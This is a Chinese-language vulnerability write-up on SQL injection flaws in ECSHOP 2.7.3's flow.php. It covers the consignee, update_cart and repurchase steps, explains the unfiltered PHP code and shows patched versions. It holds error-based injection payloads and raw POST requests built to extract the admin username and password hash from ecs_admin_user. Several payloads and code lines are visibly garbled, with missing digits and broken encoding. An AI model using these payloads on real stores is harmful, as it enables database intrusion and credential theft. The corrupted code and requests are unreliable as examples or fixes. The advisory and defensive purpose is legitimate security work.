catalog
. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考
1. 漏洞描述
ECSHOP的配送地址页面网页没有验证地区参数的有效性，存在sql注入漏洞，攻击者可利用火狐tamper data等插件修改提交到配送地址页面的post数据，造成未授权的数据库操作甚至执行任意代码
Relevant Link:
http://sebug.net/vuldb/ssvid-60554
2. 漏洞触发条件
0x1: POC1
. 先注册账户，随便选个商品进购物车，然后填地址，电话等等
. 把任意商品加入购物车在填写配送地址那一页，有地区选择
. http://localhost/ecshop2.7.3/flow.php?step=consignee&direct_shopping=1
//比如省选择安徽
. 其中POST数据如下
country=&province=&city=&district=&consignee=&email=%40qq.com&address=&zipcode=&tel=&mobile=&sign_building=&best_time=&Submit=%E9%%8D%E9%%%E8%%B3%E8%BF%%E4%B8%AA%E5%9C%B0%E5%9D%&step=consignee&act=checkout&address_id=province=
用firefox tamper data改成
localhost province=') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #
. 就会回显错误页面了
0x2: POC2
POST /flow.php?step=update_cart HTTP/1.1
Host: ${HOST}
Content-Type: application/x-www-form-urlencoded
Content-Length: ${AUTO} goods_number%5B1%+and+%28select++from%28select+count%*%%2Cconcat%%28select+%28select+%28SELECT+concat%28user_name%2C0x7c%2Cmd5()%+FROM+ecs_admin_user+limit+%2C1%%+from+information_schema.tables+limit+%2C1%%2Cfloor%28rand%%*%%29x+from+information_schema.tables+group+by+x%29a%+and+%3D1+%%5D=&submit=exp
0x3: order_id注入
http://127.0.0.1/ECShop_V2.7.3/flow.php?step=repurchase
post
order_id= or updatexml(,concat(0x7e,(database())),) or #
file:///C:/Users/zhenghan.zh/Desktop/%E3%80%90%E5%B7%B2%E8%BD%AC%E6%AD%A3%E3%80%91Ecshop3.pdf
Relevant Link:
http://www.2cto.com/Article/201212/179861.html
http://www.yunsec.net/a/security/web/jbst/2013/0111/12225.html
3. 漏洞影响范围
4. 漏洞代码分析
0x1: step = consignee 注入点
/flow.php
elseif ($_REQUEST['step'] == 'consignee')
{
...
//未对POST数据进行有效过滤
else
{
/*
* 保存收货人信息
*/
$consignee = array(
'address_id' => empty($_POST['address_id']) ? : intval($_POST['address_id']),
'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
'country' => empty($_POST['country']) ? '' : $_POST['country'],
'province' => empty($_POST['province']) ? '' : $_POST['province'],
'city' => empty($_POST['city']) ? '' : $_POST['city'],
'district' => empty($_POST['district']) ? '' : $_POST['district'],
'email' => empty($_POST['email']) ? '' : $_POST['email'],
'address' => empty($_POST['address']) ? '' : $_POST['address'],
'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
'sign_building' => empty($_POST['sign_building']) ? '' : $_POST['sign_building'],
'best_time' => empty($_POST['best_time']) ? '' : $_POST['best_time'],
);
..
0x2: step = update_cart 注入点
/flow.php
/*------------------------------------------------------ */
//-- 更新购物车
/*------------------------------------------------------ */ elseif ($_REQUEST['step'] == 'update_cart')
{
if (isset($_POST['goods_number']) && is_array($_POST['goods_number']))
{
//带入sql查询
flow_update_cart($_POST['goods_number']);
} show_message($_LANG['update_cart_notice'], $_LANG['back_to_cart'], 'flow.php');
exit;
}
flow_update_cart($_POST['goods_number']);
function flow_update_cart($arr)
{
/* 处理 */
foreach ($arr AS $key => $val)
{
//对数组的value进行了处理，但是没有对数组的key进行有效过滤
$val = intval(make_semiangle($val));
if ($val <= )
{
continue;
} //查询：
$sql = "SELECT `goods_id`, `goods_attr_id`, `product_id`, `extension_code` FROM" .$GLOBALS['ecs']->table('cart').
" WHERE rec_id='$key' AND session_id='" . SESS_ID . "'";
$goods = $GLOBALS['db']->getRow($sql); die(var_dump($key));
/*
goods_number[-1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,user_name,0x7c,password,0x27,0x7e)) from ecs_admin_user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# and '1'='1] = value
黑客注入这种payload，实现key sql注入
*/
$sql = "SELECT g.goods_name, g.goods_number ".
"FROM " .$GLOBALS['ecs']->table('goods'). " AS g, ".
$GLOBALS['ecs']->table('cart'). " AS c ".
"WHERE g.goods_id = c.goods_id AND c.rec_id = '$key'";
$row = $GLOBALS['db']->getRow($sql);
..
Relevant Link:
http://www.myhack58.com/Article/html/3/62/2010/26956.htm
http://0day5.com/archives/328
5. 防御方法
0x1: step = consignee 注入点
/flow.php
elseif ($_REQUEST['step'] == 'consignee')
{
...
else
{
/*
* 保存收货人信息
*/
$consignee = array(
/* 对用户输入的POST数据进行有效过滤 */
'address_id' => empty($_POST['address_id']) ? : intval($_POST['address_id']),
'consignee' => empty($_POST['consignee']) ? '' : compile_str(trim($_POST['consignee'])),
'country' => empty($_POST['country']) ? '' : intval($_POST['country']),
'province' => empty($_POST['province']) ? '' : intval($_POST['province']),
'city' => empty($_POST['city']) ? '' : intval($_POST['city']),
'district' => empty($_POST['district']) ? '' : intval($_POST['district']),
/* */
'email' => empty($_POST['email']) ? '' : compile_str($_POST['email']),
'address' => empty($_POST['address']) ? '' : compile_str($_POST['address']),
'zipcode' => empty($_POST['zipcode']) ? '' : compile_str(make_semiangle(trim($_POST['zipcode']))),
'tel' => empty($_POST['tel']) ? '' : compile_str(make_semiangle(trim($_POST['tel']))),
'mobile' => empty($_POST['mobile']) ? '' : compile_str(make_semiangle(trim($_POST['mobile']))),
'sign_building' => empty($_POST['sign_building']) ? '' :compile_str($_POST['sign_building']),
'best_time' => empty($_POST['best_time']) ? '' : compile_str($_POST['best_time']),
);
..
需要注意的是，empty函数参数必须为variable，不能为其它函数的返回值，包括str_replace、trim等等，否则会报错
Can't use function return value in write context
0x2: step = update_cart 注入点
function flow_update_cart($arr)
{
/* 处理 */
foreach ($arr AS $key => $val)
{
$val = intval(make_semiangle($val));
/**/
if (!is_numeric($key))
{
continue;
}
/**/
/*if ($val <= 0)*/
if ($val <= || !is_numeric($key))
{
continue;
}
..
0x3: step = order_id 注入点
elseif ($_REQUEST['step'] == 'repurchase') {
include_once('includes/cls_json.php');
/**/
$order_id = intval($_POST['order_id']);
/**/
$order_id = json_str_iconv($order_id);
$user_id = $_SESSION['user_id'];
$json = new JSON;
$order = $db->getOne('SELECT count(*) FROM ' . $ecs->table('order_info') . ' WHERE order_id = ' . $order_id . ' and user_id = ' . $user_id);
if (!$order) {
$result = array('error' => , 'message' => $_LANG['repurchase_fail']);
die($json->encode($result));
}
$db->query('DELETE FROM ' .$ecs->table('cart') . " WHERE rec_type = " . CART_REPURCHASE);
$order_goods = $db->getAll("SELECT goods_id, goods_number, goods_attr_id, parent_id FROM " . $ecs->table('order_goods') . " WHERE order_id = " . $order_id);
$result = array('error' => , 'message' => '');
foreach ($order_goods as $goods) {
$spec = empty($goods['goods_attr_id']) ? array() : explode(',', $goods['goods_attr_id']);
if (!addto_cart($goods['goods_id'], $goods['goods_number'], $spec, $goods['parent_id'], CART_REPURCHASE)) {
$result = false;
$result = array('error' => , 'message' => $_LANG['repurchase_fail']);
}
}
die($json->encode($result));
}
else
{
$flow_type = isset($_REQUEST['type']) ? $_REQUEST['type'] : CART_GENERAL_GOODS;
$flow_type = strip_tags($flow_type);
$flow_type = json_str_iconv($flow_type);
/* 标记购物流程为普通商品 */
$_SESSION['flow_type'] = $flow_type;
/* 如果是一步购物，跳到结算中心 */
if ($_CFG['one_step_buy'] == '')
{
ecs_header("Location: flow.php?step=checkout\n");
exit;
}
Relevant Link:
http://www.itokit.com/2012/1028/74804.html
6. 攻防思考
Copyright (c) 2015 LittleHann All rights reserved